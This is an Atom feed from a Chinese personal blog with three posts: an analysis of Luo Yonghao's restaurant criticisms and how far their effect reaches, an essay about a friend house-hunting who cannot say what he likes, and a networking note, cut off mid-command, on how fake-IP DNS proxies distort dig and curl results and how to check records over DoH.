<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <author>
    <name>zhangwenqiang</name>
  </author>
  <generator uri="https://hexo.io/">Hexo</generator>
  <id>https://zhangwenqiang.com/</id>
  <link href="https://zhangwenqiang.com/" rel="alternate"/>
  <link href="https://zhangwenqiang.com/atom.xml" rel="self"/>
  <rights>All rights reserved 2026, zhangwenqiang</rights>
  <subtitle>记录一些折腾过的东西</subtitle>
  <title>zhangwenqiang's blog</title>
  <updated>2026-09-20T13:37:34.351Z</updated>
  <entry>
    <author>
      <name>zhangwenqiang</name>
    </author>
    <category term="观察" scheme="https://zhangwenqiang.com/categories/%E8%A7%82%E5%AF%9F/"/>
    <category term="行业观察" scheme="https://zhangwenqiang.com/tags/%E8%A1%8C%E4%B8%9A%E8%A7%82%E5%AF%9F/"/>
    <category term="舆论" scheme="https://zhangwenqiang.com/tags/%E8%88%86%E8%AE%BA/"/>
    <category term="时间线梳理" scheme="https://zhangwenqiang.com/tags/%E6%97%B6%E9%97%B4%E7%BA%BF%E6%A2%B3%E7%90%86/"/>
    <content>
      <![CDATA[<blockquote><p>2026 年 9 月 20 日晚上 8 点 14 分，罗永浩发了一条微博。</p><p>这条微博的重点不在他说了什么，在他没说什么。</p><p>本文事实部分均可查证，来源列在文末。传闻与未经证实的部分单独标出，不与实锤混写。</p></blockquote><span id="more"></span><h2 id="一、今晚这条微博"><a href="#一、今晚这条微博" class="headerlink" title="一、今晚这条微博"></a>一、今晚这条微博</h2><p>原文：</p><blockquote><p>出差和团队一起在深圳赶一个项目，夜里加班点外卖，点到一家在福田区就有两家分店的港式茶餐厅（大众点评两千多条评论分别打了 4.6 和 4.3；2026 年必点榜上榜餐厅），结果送过来六份外卖，竟然三份都有异味臭味。<strong>这家茶餐厅的名字是……嗯，好吧，都不容易。</strong></p><p>另外，中洲湾的椿庐川菜很不错。</p></blockquote><p>六份外卖三份有异味，这是个相当硬的客观事实，比「不好吃」严重得多。换成十年前的罗永浩，这条微博会有名字、有照片、有电话录音，可能还会有一份律师函。</p><p>今晚没有。名字被他自己咽了回去，然后顺手夸了一家别的餐厅。</p><p>这条微博发出后的战绩是：<strong>20 转发，136 评论，379 点赞。</strong> 对一个 500 万粉丝的账号来说，这是一条死帖。</p><p>我觉得这条死帖，比他今年所有上过热搜的发言加起来都值得看。</p><h2 id="二、先把三件事分开"><a href="#二、先把三件事分开" class="headerlink" title="二、先把三件事分开"></a>二、先把三件事分开</h2><p>最近大家把三件事混在一起说，说他「越来越爱挑事」。但这三件事的性质差得很远：</p><table><thead><tr><th>时间</th><th>对象</th><th>点名了吗</th><th>说的是什么</th></tr></thead><tbody><tr><td>2025-09-10</td><td>西贝</td><td>点了</td><td><strong>实质指控</strong>：几乎全是预制菜、还那么贵。后续悬赏十万征集线索</td></tr><tr><td>2026-09-12</td><td>野人先生</td><td>点了</td><td><strong>纯主观</strong>：很一般，考虑到价格甚至可以说难吃</td></tr><tr><td>2026-09-20</td><td>某港式茶餐厅</td><td><strong>没点</strong></td><td>客观事实（六份外卖三份有异味）+ 主动放弃指认</td></tr></tbody></table><p>顺序是：<strong>点名加实锤 → 点名不实锤 → 实锤不点名。</strong></p><p>所以「他在升级挑事」这个判断，方向正好反了。他在往回收。</p><p>顺便说一件被大面积误传的事。9 月 12 日那条关于冰淇淋的微博，原文是这样的：</p><blockquote><p>在机场试了一下，暴得大名的野人先生很一般啊，考虑到价格，甚至可以说难吃。它是怎么火起来的？<strong>【善意提示：这是一个消费者的正常评价和疑问，请千万不要惹我，然后说我下黑手之类的】</strong> 感觉比钟薛高难吃多了，怀念钟薛高。</p></blockquote><p>方括号里那句，是<strong>怕被扣帽子而提前自辩</strong>。它被媒体摘出来做成了标题：</p><blockquote><p>「甚至可以说难吃」！罗永浩吐槽一知名品牌，放话称：<strong>千万不要惹我！</strong></p></blockquote><p>同一句话，从「求你们别冤枉我」被剪成了「你们别惹我」。一个瑟缩的括号，变成了一句黑社会台词。</p><p>他为此连发了五条微博骂「无良媒体生造的流氓热搜词」。骂得有道理，也没有用——热搜词条已经跑完了它的生命周期，辟谣是追不上的。</p><h2 id="三、他四天前就认过怂了"><a href="#三、他四天前就认过怂了" class="headerlink" title="三、他四天前就认过怂了"></a>三、他四天前就认过怂了</h2><p>9 月 16 日，也就是冰淇淋风波最盛的那天，他写了两句话。这两句几乎没人转，但它们是理解今晚那条微博的钥匙：</p><blockquote><p>这次我甚至没有批评一个品牌真有什么问题，只说了我个人觉得不好吃，都给公关部同事们惹了这么多麻烦，<strong>以后我不会再批评国产品牌了。</strong></p></blockquote><p>以及：</p><blockquote><p>嗯，<strong>以后要么不说，要说就只说好吃的</strong>，至于不好吃的……「不存在的」。</p></blockquote><p>四天后，六份外卖里三份是臭的，他真的没说名字。</p><p>所以今晚那条不是挑事，是<strong>履约</strong>。而且是一次不太体面的履约——他做到了不点名，但忍不住要让所有人知道他忍住了。那句「嗯，好吧，都不容易」，既是对餐厅的手下留情，也是对自己的一声叹气。</p><h2 id="四、他一直是这样的人，而且以前更狠"><a href="#四、他一直是这样的人，而且以前更狠" class="headerlink" title="四、他一直是这样的人，而且以前更狠"></a>四、他一直是这样的人，而且以前更狠</h2><p>「他是不是变了」这个问题，答案很干脆：没变。</p><ul><li><strong>2011 年 9 月</strong>，他家的西门子冰箱门关不严，投诉无果。</li><li><strong>11 月 20 日</strong>，他带着一批消费者，在西门子中国总部门口<strong>砸了三台冰箱</strong>。</li><li><strong>12 月 4 日</strong>，西门子家电中国总裁罗兰·盖尔克录视频公开致歉。</li><li><strong>12 月 20 日</strong>，他在海淀剧场<strong>又砸了一次</strong>。</li></ul><p>这个当量，比今天任何一次都大。当年舆论几乎一边倒地叫好，「非理性维权」的批评有，但淹没在掌声里。</p><p>再往前往后数：骂俞敏洪是「铁公鸡」、跟方舟子对撕、和王自如在直播里当面对质、2025 年 11 月给华与华的华杉下最后通牒要求当天下午六点前公开道歉——<strong>行为模式三十年一致</strong>。</p><p>甚至连「预制菜」这个由头都不是新的。<strong>2024 年 11 月</strong>，比西贝早整整一年，他就在直播间喊过：餐厅卖预制菜不标注，本质就是欺骗。</p><p>西贝不是一个新的开始。西贝是一个旧主张，撞上了一个新当量。</p><h2 id="五、变的是当量"><a href="#五、变的是当量" class="headerlink" title="五、变的是当量"></a>五、变的是当量</h2><p>2011 年砸冰箱的罗永浩，是一个有几十万粉丝的前英语老师，对面是一家跨国巨头。那是弱者维权，叫好是自然的。</p><p>2026 年的罗永浩，微博 500 万粉，播客平均每期一千万播放。他随口一句「难吃」的下游是什么样子，西贝已经替所有人测过了：</p><ul><li>门店从巅峰近 400 家缩到 <strong>203 家</strong>，关掉 102 家，涉及约 <strong>4000 名员工</strong>；</li><li>2025 年 11 月单月营收 2.65 亿，<strong>不到上年同期一半</strong>；</li><li>2025 年 9 月到 2026 年 3 月，<strong>累计亏损超过 6 亿</strong>；</li><li>估值从预期的 200 亿掉到 <strong>10 亿出头</strong>，筹备中的 IPO 折戟。</li></ul><p>这不是「批评」的量级。这是处决的量级。</p><p>同一个动作——一个消费者公开说某家店不好——在 2011 年是维权，在 2026 年是定点清除。<strong>动作没变，当量变了，于是性质自动改变了。</strong></p><p>这是我觉得这件事里最要紧的一句话：不是他从维权者变成了霸凌者，是<strong>同一个动作在不同当量下会自动变成另一个动作</strong>。当事人往往是最后一个知道的，因为他照镜子时看见的还是那个砸冰箱的人。</p><p>野人先生那次，围观者的反应已经很说明问题了。品牌方全程一声不吭，评论区却挤满了刷「不要回答」的网友——<strong>大家在替一家一千七百多家店的公司捂嘴</strong>，生怕它一开口就重演西贝。热搜上挂着一句话：「一句难吃不该引发一个企业灭顶之灾。」</p><p>而这家被劝着别说话的公司，在那四天里涨了四十万粉。荒诞得很工整。</p><h2 id="六、那把锁"><a href="#六、那把锁" class="headerlink" title="六、那把锁"></a>六、那把锁</h2><p>罗永浩这辈子赚的所有钱，本质上都来自同一样东西：<strong>「这个人不糊弄你」这个判断。</strong></p><p>新东方的段子、牛博网、砸冰箱、锤子发布会、直播间里那句「不赚钱，交个朋友」、现在一期一千万播放且首日盈利的播客、年底的年度科技大会——他卖的从来不是货，是可信度。</p><p>可信度这门生意有个结构性的毛病：<strong>夸是不产生可信度的，只有骂才产生。</strong></p><p>你说一百句「这个真好」，市场只会当你收了钱。你说一句「这个不行」，可信度账户才进账。所以一个靠可信度吃饭的人，必须定期骂点什么——这不是性格缺陷，这是商业模式的刚性开支。</p><p>问题在于，他的当量已经涨到了<strong>这笔开支付不起</strong>的地步。</p><p>于是锁就合上了：</p><blockquote><p><strong>说，就是滥用权力；不说，人设就死。</strong></p></blockquote><p>9 月 16 日那句「以后不再批评国产品牌」，是他自己撞上了这堵墙。今晚那句「名字是……嗯，好吧」，是撞墙之后的产物。</p><p>一个靠「敢说」定价的人，一旦到了说什么都会致命的量级，「敢说」这件事本身就失效了。<strong>它不再是勇敢，它变成了行刑。</strong></p><h2 id="七、9-月-20-日这一天"><a href="#七、9-月-20-日这一天" class="headerlink" title="七、9 月 20 日这一天"></a>七、9 月 20 日这一天</h2><p>今晚那条茶餐厅微博之所以耐看，是因为它不是孤立发生的。同一天还有两件事。</p><p><strong>第一件（传闻，未经证实）</strong>：有大 V 发文称西贝已经起诉罗永浩、即将开庭，并指控他「跑出来操控舆论给法院施压」。截至我写完这篇，<strong>西贝官方未作确认，也未见公开的立案信息</strong>。这一条请当传闻看。</p><p><strong>第二件（已确认）</strong>：交个朋友直播间卖的一款 89.9 元「溜溜凳」，被消费者拆开后发现内部用的是<strong>发霉木板和来源不明的废旧海绵</strong>，还有持续的异味。商品全面下架。涉事供应商是一家 2026 年 6 月成立、注册资本 10 万元的公司。</p><p>请把这两件事和今晚那条微博并排放一下：</p><p><strong>在一个「被指控滥用舆论」和「自己带货的东西被拆出霉木头」同时发生的晚上，他发了一条关于餐饮有异味、但拒绝说出名字的微博。</strong></p><p>这条微博的收益是什么？把自己重新放回「普通消费者」这个位置上。成本是什么？几乎为零——因为他没点名。</p><p>我不认为这是精心设计的。一条只有 379 个赞的微博不可能是为流量发的；真要炒作，今晚一定会点名。它更像是一次本能的姿态存档：我还是那个说真话的人，只是我现在不敢说全了。</p><p>顺带一提，截至我写完这篇，他的微博<strong>对溜溜凳一个字都没提</strong>。</p><h2 id="八、按钮"><a href="#八、按钮" class="headerlink" title="八、按钮"></a>八、按钮</h2><p>写到这里，我想说的其实不是罗永浩的人品。</p><p>他的出发点，我倾向于认为是真诚的。他对「信息不对称下的商业欺骗」的愤怒，有二十年可追溯的一致记录，不是临时找的由头。麻烦的地方在于——<strong>这种愤怒恰好是他最赚钱的表达方式</strong>。真诚和利益在他身上是重合的，所以永远说不清哪个在前面。</p><p>他的处境也不像外人想的那么风光。总债务约 13 亿，已还近 10 亿，剩下的 6 亿国资本金里有 3 亿是当年投资亏掉的钱——<strong>法律上根本不用还，他自愿还</strong>。他在那家上市的直播公司里没有股权，人家上半年赚的 8600 万跟他没关系。他押上身家的 AI 硬件公司烧掉 5000 万美元，AR 项目停摆，硬件团队解散，三年没跑通商业化。他今年 56 岁，正在用播客和年度大会搭一个新的身份——<strong>而这个新身份同样只能用可信度来支付。</strong></p><p>但真正值得记下来的不是这些。是这个：</p><p><strong>一个人的一句主观评价，可以让一家四百家店的公司半年亏掉 6 亿。</strong></p><p>这件事本身，是市场结构和舆论机制的问题，不是某个人的品德问题。那个按钮就摆在那里，威力大到不成比例，只是恰好由他站在前面。换一个人站上去，按下去的效果一模一样。</p><p>我们现在的公共讨论有个坏习惯：一件事出了问题，先找一个人来承担全部解释。骂罗永浩比理解「为什么一句话能有这么大当量」要省力得多，也让人舒服得多。</p><h2 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h2><p>一个靠「我说真话」活了三十年的人，今晚当众把一个名字咽了回去。</p><p>这大概是他这些年做过的最成熟的一件事。</p><p>也是最让人不是滋味的一件事——因为他咽回去的那个名字背后，是六份外卖里真的有三份是臭的。<strong>那家店的其他客人，永远不会知道。</strong></p><hr><h3 id="事实来源"><a href="#事实来源" class="headerlink" title="事实来源"></a>事实来源</h3><ul><li>罗永浩微博原帖（2026-09-12、09-16、09-20）：<a href="https://m.weibo.cn/u/7762107285">@罗永浩的十字路口</a></li><li>西贝经营数据与关店情况：<a href="https://news.qq.com/rain/a/20260919A0A83P00">西贝「倒闭」冲上热搜，资本梦碎了</a></li><li>诉讼传闻（未经证实）：<a href="https://news.qq.com/rain/a/20260920A0BJ1900">博主曝西贝已起诉罗永浩，「就要开庭了」</a></li><li>溜溜凳事件：<a href="https://finance.sina.com.cn/tech/discovery/2026-09-20/doc-inismzva9338220.shtml">交个朋友直播间售问题溜溜凳：内部用发霉木板 现已全面下架</a></li><li>野人先生涨粉数据：<a href="https://www.gamersky.com/news/202609/2209050.shtml">遭罗永浩吐槽冰淇淋难吃 野人先生近 30 天涨粉 41 万</a></li><li>2011 年砸冰箱事件：<a href="https://baike.baidu.com/item/11%C2%B720%E7%BD%97%E6%B0%B8%E6%B5%A9%E7%A0%B8%E5%86%B0%E7%AE%B1%E7%BB%B4%E6%9D%83%E4%BA%8B%E4%BB%B6/13938283">11·20 罗永浩砸冰箱维权事件</a></li><li>与华与华的冲突：<a href="https://news.qq.com/rain/a/20251126A07FNY00">这一次，华与华老板没有向罗永浩服软</a></li><li>微博禁言：<a href="https://news.qq.com/rain/a/20260117A01G5600">罗永浩、贾国龙账号双双被禁言，微博 CEO 回应</a></li><li>债务进展：<a href="https://m.mp.oeeee.com/a/BAAFRD000020240826990833.html">罗永浩万字长文披露「真还传」进展：还有 6 亿元国资债务待还</a></li><li>上市公司业绩：<a href="https://www.moomoo.com/hans/news/notice/307950925/be-friends-hldg-announcement-of-interim-resultsfor-the-six-months">交个朋友控股 2026 年中期业绩公告</a></li><li>AI 公司现状：<a href="https://zhuanlan.zhihu.com/p/1897764524506985433">细红线科技解散全部硬件团队，All in AI 产品突围海外</a></li></ul>]]>
    </content>
    <id>https://zhangwenqiang.com/2026/09/20/luo-yonghao-tonnage/</id>
    <link href="https://zhangwenqiang.com/2026/09/20/luo-yonghao-tonnage/"/>
    <published>2026-09-20T14:30:00.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p>2026 年 9 月 20 日晚上 8 点 14 分，罗永浩发了一条微博。</p>
<p>这条微博的重点不在他说了什么，在他没说什么。</p>
<p>本文事实部分均可查证，来源列在文末。传闻与未经证实的部分单独标出，不与实锤混写。</p>
</blockquote>]]>
    </summary>
    <title>罗永浩把名字咽了回去：一句「难吃」的当量</title>
    <updated>2026-09-20T13:37:34.351Z</updated>
  </entry>
  <entry>
    <author>
      <name>zhangwenqiang</name>
    </author>
    <category term="观察" scheme="https://zhangwenqiang.com/categories/%E8%A7%82%E5%AF%9F/"/>
    <category term="生活" scheme="https://zhangwenqiang.com/tags/%E7%94%9F%E6%B4%BB/"/>
    <category term="亲密关系" scheme="https://zhangwenqiang.com/tags/%E4%BA%B2%E5%AF%86%E5%85%B3%E7%B3%BB/"/>
    <category term="选择" scheme="https://zhangwenqiang.com/tags/%E9%80%89%E6%8B%A9/"/>
    <content>
      <![CDATA[<p>我有个高中同学，这段时间在看房子。</p><p>上周他跟我讲了一件事。那天看完最后一套，两个人骑小电驴回家，他对象坐在后座，问了他一句：</p><p>「看了这么多，你有没有哪套是喜欢的？」</p><p>他想了很久，没答上来。</p><p>不是敷衍。是他在那几秒钟里发现，<strong>自己好像没有「喜欢」这个东西。</strong></p><span id="more"></span><h2 id="「可以」和「喜欢」"><a href="#「可以」和「喜欢」" class="headerlink" title="「可以」和「喜欢」"></a>「可以」和「喜欢」</h2><p>他后来跟我复述当时的感受，用的是这么一句话：</p><blockquote><p>我只有可以，或者不可以。说不清楚。就是觉得这房子能住，或者我不想在这屋里住。</p></blockquote><p>这句话我听了之后想了两天。</p><p>「可以」和「喜欢」看起来是同一件事的不同说法，其实不是。</p><p>「可以」是<strong>一个判断</strong>：这房子满不满足条件——面积够不够、通勤远不远、采光行不行、价格能不能接受。它是一道题，有答案，答完就结束了。</p><p>「喜欢」是<strong>一个愿望</strong>：我想住在这里。它不解决任何问题，它只暴露你想要什么。</p><p>一个只有「可以&#x2F;不可以」的人，不是没主意。恰恰相反，他的判断可能非常准、非常快。他只是把「我想要」这一层，整个跳过去了。</p><p>哲学家法兰克福讲过一个区分：人不只有欲望，人还有<strong>对欲望的欲望</strong>——你想要某样东西，同时你还认同”我想要它”这件事本身。他觉得那才是一个人之所以是人的地方。</p><p>按这个说法，我这个同学缺的不是主意，是<strong>认领主意的那一步</strong>。</p><p>至于这个能力是怎么弄丢的，他没说，我也没问。但一般来说，一个人长期处在”说了也不算”的位置上，最省力的做法就是不再生成偏好——<strong>你不想要，就不会失望</strong>。这笔账很划算，代价是很多年以后，有人在小电驴后座问你喜不喜欢，你答不上来。</p><h2 id="那个没人用的网站"><a href="#那个没人用的网站" class="headerlink" title="那个没人用的网站"></a>那个没人用的网站</h2><p>这里要倒回去讲另一件事。</p><p>他们最开始定的原则很公平：按两个人公司的位置，找一个通勤都能接受的小区。</p><p>为了这件事，他动手做了个东西——把候选小区全部拉进来，算两个人各自的通勤时间、换乘次数、早晚高峰的差异，做成一个能点开看的网页。花了不少工夫。</p><p>然后这个东西<strong>一次也没用上</strong>。</p><p>最后定下来的方案是：在他们现在住的小区附近找。离他的公司近，离她的公司远。</p><p>他跟我说这件事的时候，顺口带了一句：</p><blockquote><p>之前一直是这样的。</p></blockquote><p>他说得很平静，像在陈述天气。</p><p>我觉得这句才是整件事里最响的一声。</p><hr><p>一个早就定死的结论，为什么还要做一个网站？</p><p>因为<strong>当一个人没有「喜欢」的时候，他只剩下「优化」。</strong></p><p>喜欢是没法计算的。你说不清为什么就是想住在那个有飘窗的屋子里。但通勤时间可以算，换乘次数可以算，价格可以算——<strong>所有能算的东西，都在替那个算不出来的东西站岗。</strong></p><p>做那个网站的时候他大概是真诚的。他想公平，想把她的通勤也放进天平。只是他能拿出来的公平，是一张表。</p><p>而表格给不出答案。表格只能告诉你哪个方案更优，给不出”我想住在这儿”。所以算完了，也就搁下了，最后还是回到那个不需要计算的默认值上——<strong>离他近</strong>。</p><p>心理学里有个说法叫”决策后合理化”：人往往先做决定，再去找理由。我觉得这件事还要更前一步——<strong>那个网站不是用来做决定的，是用来让一个早就做完的决定，看起来像是刚做的。</strong></p><h2 id="「都听你的」"><a href="#「都听你的」" class="headerlink" title="「都听你的」"></a>「都听你的」</h2><p>第三件事。</p><p>看房看到中间，他忽然跟她说：这事我不管了，你去看吧，你满意就行，你定了我没意见。</p><p>他跟我说，他自己也记不清当时是什么心态。</p><p>接下来那一周，她一个人跑了很多套。他不知道具体多少，因为他没问。她挑出几套发给他，他没说行，也没说不行。</p><p>他的原话是：「表面上我说的是什么都听她的。」</p><p><strong>「表面上」这三个字是他自己加的。</strong> 他知道那不是全部。</p><hr><p>「都听你的」是一句很好用的话。它听起来像让步，像尊重，像把最大的自由交给对方。</p><p>但一个决定里有三样东西：<strong>选择权、劳动、和后果</strong>。</p><p>「都听你的」只交出了第一样，同时把后面两样一起推了过去。从那天起，跑盘的是她，砍价的是她，记哪套朝南哪套隔音差的是她。更重要的是——<strong>如果将来住得不舒服，那是她选的。</strong></p><p>他什么都没做错。他只是从一件两个人的事情里，安静地退到了岸上。</p><p>然后他站在岸上，开始给水里的人打分。</p><h2 id="牌桌上，谁是职业的"><a href="#牌桌上，谁是职业的" class="headerlink" title="牌桌上，谁是职业的"></a>牌桌上，谁是职业的</h2><p>回到最后这天。</p><p>那天又看了两套，一套贵了，一套他觉得也就那样。真正让她动心的是前一天的那套，可惜有租客——本来那租客要搬了，临时又续了一个月。</p><p>她着急了。她怕再拖下去就没有好房子了。距离现在这套房到期，只剩二十天。</p><p>在那种着急里，她还没定下房子，就先问了中介费多少。</p><p>他在旁边听着，心里很不舒服。</p><hr><p>他有一套关于看房的理论，跟我讲得很清楚：<strong>这是博弈。</strong> 买方、卖方、中介，各有各的底牌，像打牌一样，什么时候出什么牌有讲究。你还没定下来，就急着问佣金，等于提前亮牌。</p><p>他对她那一问的解读是：<strong>她在表现。</strong> 在向中介传递一个信号——“我也是内行，我知道中介费是能谈的”。</p><p>他觉得这个时候讲这个太早了，完全没必要。</p><p>然后他由这一句，联想起她以前的很多话。</p><p>他跟我说到这儿，用了一个词。</p><p>那个词我不写了。我只说它是什么性质的词：<strong>它不是用来形容一次失误的，它是用来形容一个人的</strong>——而且是形容一个<strong>站在台上</strong>的人。</p><hr><p>这里有一个他没提、但摆在明面上的事实：</p><p><strong>她做过中介。他没有。</strong></p><p>那张牌桌上，唯一的职业选手是她。而那套”什么时候出什么牌”的理论，是他的——一个从没坐上过那张桌子的人。</p><p>所以那句”太早了”到底成不成立，其实是两说的。提前把佣金摊开谈，在这行里也可以是另一种打法：<strong>趁自己还没爱上这套房子的时候，先把钱的事定死。</strong> 等你喜欢得不行了再谈价，那才是真的没有牌。</p><p>至于”表现”——换个角度看也未必是炫耀。<strong>一个前中介最清楚中介是怎么打量客户的。</strong> 进门先亮一句”我懂行”，可能不是想让人高看，是不想被当成生手拿捏。那不是舞台，那是护甲。</p><p>这两种读法我都不敢说哪个对。我只想指出一件事：<strong>他选了对自己最不利的那个读法，还毫不费力。</strong></p><hr><p>更值得看的是那句”联想起她以前的很多话”。</p><p>一个当下的举动，瞬间调出了一整摞旧账。这不太像评估，更像<strong>归档</strong>——你心里已经给一个人建好了文件夹，之后发生的任何事，都只是往里面再放一张纸。</p><p>人一旦建好了那个文件夹，就不太看得见对面那个人了，只看得见文件夹。</p><h2 id="一个说不出想要什么的人，在看一个把想要写在脸上的人"><a href="#一个说不出想要什么的人，在看一个把想要写在脸上的人" class="headerlink" title="一个说不出想要什么的人，在看一个把想要写在脸上的人"></a>一个说不出想要什么的人，在看一个把想要写在脸上的人</h2><p>我把前面这些摆在一起看，才觉出那一刻真正难受的地方在哪儿。</p><p>那天在场的两个人：</p><p>一个<strong>想要一套房子，而且藏不住</strong>。她着急，她怕好房子没了，她在中介面前使劲，方式不一定高明，姿势可能确实不好看。但她的每一个动作都在说同一件事——<strong>我想要</strong>。</p><p>另一个<strong>两周没管过这件事</strong>，坐在旁边看，心里给她的表现打分，打出一个很重的词。</p><p>而这个打分的人，在同一天的回家路上，被问到”你有没有喜欢的”，一个字都答不出来。</p><p><strong>他看不下去的，也许不是她笨。是她想要得那么明显。</strong></p><p>一个把”我想要”这件事收起来收了很多年的人，看见有人当众把它摊开、还摊得不够漂亮，会本能地觉得难堪。那种难堪很容易被翻译成”她好蠢”。</p><p>但它更可能是：<strong>她做的，恰好是他早就不会做的事。</strong></p><h2 id="我没有结论"><a href="#我没有结论" class="headerlink" title="我没有结论"></a>我没有结论</h2><p>他们大概很快就会定下来一套房子。以他们现在的分工看，多半是她定的。他会说”可以”。</p><p>那套房子可能会很好。他也会在里面住上几年。</p><p>只是不会有人知道，那到底是不是他想要的。</p><p><strong>包括他自己。</strong></p><hr><p>写完我又想了想，其实这事没什么可责备的。</p><p>「可以」是一个很安全的词。它不会错——你没说想要，就没有得不到；你没有选，就不会选错；你站在岸上，就不会湿。一个人能把自己活得这么周全，说明他曾经在某个地方，为”我想要”付出过代价。</p><p>只是这个周全有一个漏洞：<strong>到最后，没有人知道你要什么，你自己也忘了。</strong></p><p>然后某一天，有人在小电驴后座上问你一句，你张了张嘴，发现真的答不上来。</p>]]>
    </content>
    <id>https://zhangwenqiang.com/2026/09/16/only-says-ok/</id>
    <link href="https://zhangwenqiang.com/2026/09/16/only-says-ok/"/>
    <published>2026-09-16T14:00:00.000Z</published>
    <summary>
      <![CDATA[<p>我有个高中同学，这段时间在看房子。</p>
<p>上周他跟我讲了一件事。那天看完最后一套，两个人骑小电驴回家，他对象坐在后座，问了他一句：</p>
<p>「看了这么多，你有没有哪套是喜欢的？」</p>
<p>他想了很久，没答上来。</p>
<p>不是敷衍。是他在那几秒钟里发现，<strong>自己好像没有「喜欢」这个东西。</strong></p>]]>
    </summary>
    <title>他只会说「可以」</title>
    <updated>2026-09-20T13:37:34.351Z</updated>
  </entry>
  <entry>
    <author>
      <name>zhangwenqiang</name>
    </author>
    <category term="折腾记录" scheme="https://zhangwenqiang.com/categories/%E6%8A%98%E8%85%BE%E8%AE%B0%E5%BD%95/"/>
    <category term="网络" scheme="https://zhangwenqiang.com/tags/%E7%BD%91%E7%BB%9C/"/>
    <category term="排查方法" scheme="https://zhangwenqiang.com/tags/%E6%8E%92%E6%9F%A5%E6%96%B9%E6%B3%95/"/>
    <content>
      <![CDATA[<p>给一个新域名配好解析，隔了十分钟，在终端里查：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">dig +short example.com</span><br><span class="line">198.18.15.123</span><br></pre></td></tr></table></figure><p>不对。那不是我配的地址。</p><p>于是开始怀疑人生：DNS 没生效？配置写错了？服务商抽风？——挨个查了一遍，全都没问题。</p><p>问题出在<strong>发出这条查询的那台电脑</strong>身上。</p><span id="more"></span><h2 id="198-18-是个什么地址"><a href="#198-18-是个什么地址" class="headerlink" title="198.18 是个什么地址"></a>198.18 是个什么地址</h2><p>先说结论：<strong><code>198.18.0.0/15</code> 这个网段，在公网上是不存在的。</strong></p><p>它被 RFC 2544 保留用作网络设备的性能测试，不会被分配给任何真实服务。所以当你查一个域名，得到的是 <code>198.18.x.x</code>，那它一定不是真实答案。</p><p>这个网段被 Clash、sing-box 这类代理工具拿去做了一件事，叫 <strong>fake-IP</strong>。</p><h2 id="fake-IP-在做什么"><a href="#fake-IP-在做什么" class="headerlink" title="fake-IP 在做什么"></a>fake-IP 在做什么</h2><p>代理工具需要知道你要访问哪个<strong>域名</strong>才能做规则分流——“这个域名走直连，那个走代理”。但应用程序发起连接时，握在手里的是一个 <strong>IP</strong>，域名早在 DNS 那一步就被丢掉了。</p><p>fake-IP 的解法很巧妙：<strong>接管 DNS，对每个域名现编一个假 IP 返回给你</strong>，同时在内部记下「这个假 IP 对应哪个域名」。</p><p>等你的程序拿着这个假 IP 去建连接时，代理在网络层拦下来，一查表就知道你真正想访问的是谁，然后按规则决定怎么走。</p><p>域名信息因此被完整地保留到了最后一刻。设计上很漂亮。</p><p><strong>副作用是：你的电脑从此失去了如实回答 DNS 问题的能力。</strong></p><h2 id="三个会骗到你的细节"><a href="#三个会骗到你的细节" class="headerlink" title="三个会骗到你的细节"></a>三个会骗到你的细节</h2><p><strong>一、指定权威服务器也没用。</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">dig @8.8.8.8 example.com     <span class="comment"># 照样是假的</span></span><br><span class="line">dig @ns1.provider.com example.com  <span class="comment"># 还是假的</span></span><br></pre></td></tr></table></figure><p>因为拦截发生在<strong>网络层</strong>（TUN 模式），不是改了系统的 DNS 配置。你的查询包根本没离开这台机器。</p><p><strong>二、TTL &#x3D; 1 是个信号。</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">example.com.  1  IN  A  198.18.15.123</span><br></pre></td></tr></table></figure><p>真实的 DNS 记录 TTL 通常是几百到几千秒。<strong>1 秒是假 IP 的典型特征</strong>——代理要保证映射随时可以改。看到这个数字就该警觉。</p><p><strong>三、拿假 IP 去 curl，居然是通的。</strong></p><p>这条最阴险。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">curl -H <span class="string">&quot;Host: example.com&quot;</span> http://198.18.15.123/</span><br><span class="line"><span class="comment"># 正常返回了页面</span></span><br></pre></td></tr></table></figure><p>因为代理会把这个假 IP 映射回域名再帮你转发出去。<strong>于是你”验证”了一遍，结论是”解析正常”——而你验证的整个链路都在代理内部。</strong></p><p>同理，<code>curl</code> 直接访问域名时加上 <code>-w &#39;%{remote_ip}&#39;</code>，你会看到：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">remote_ip = 127.0.0.1</span><br></pre></td></tr></table></figure><p>它在提示你：这次连接的对端是本机的代理端口，不是远方的服务器。</p><h2 id="那怎么查到真的"><a href="#那怎么查到真的" class="headerlink" title="那怎么查到真的"></a>那怎么查到真的</h2><p><strong>查 DNS：走 DoH。</strong></p><p>DNS-over-HTTPS 是普通的 HTTPS 请求，走的是代理的转发通道而不是 DNS 拦截通道，拿回来的是货真价实的答案：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">curl -s <span class="string">&quot;https://dns.google/resolve?name=example.com&amp;type=A&quot;</span></span><br><span class="line">curl -s -H <span class="string">&quot;accept: application/dns-json&quot;</span> \</span><br><span class="line">     <span class="string">&quot;https://1.1.1.1/dns-query?name=example.com&amp;type=A&quot;</span></span><br></pre></td></tr></table></figure><p>返回的 JSON 里，<code>&quot;Status&quot;: 0</code> 是正常，<code>&quot;Status&quot;: 3</code> 是域名不存在。<code>Answer</code> 数组里才是真实记录。</p><p><strong>查网站可达性：找一台别人的服务器帮你看。</strong></p><p>本机已经没救了——就算加 <code>--noproxy &#39;*&#39;</code>，TUN 模式照样在网络层拦截。所以要换个视角，让一台不在你网络里的机器去访问：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -s <span class="string">&quot;https://r.jina.ai/https://example.com/&quot;</span> | <span class="built_in">head</span> -c 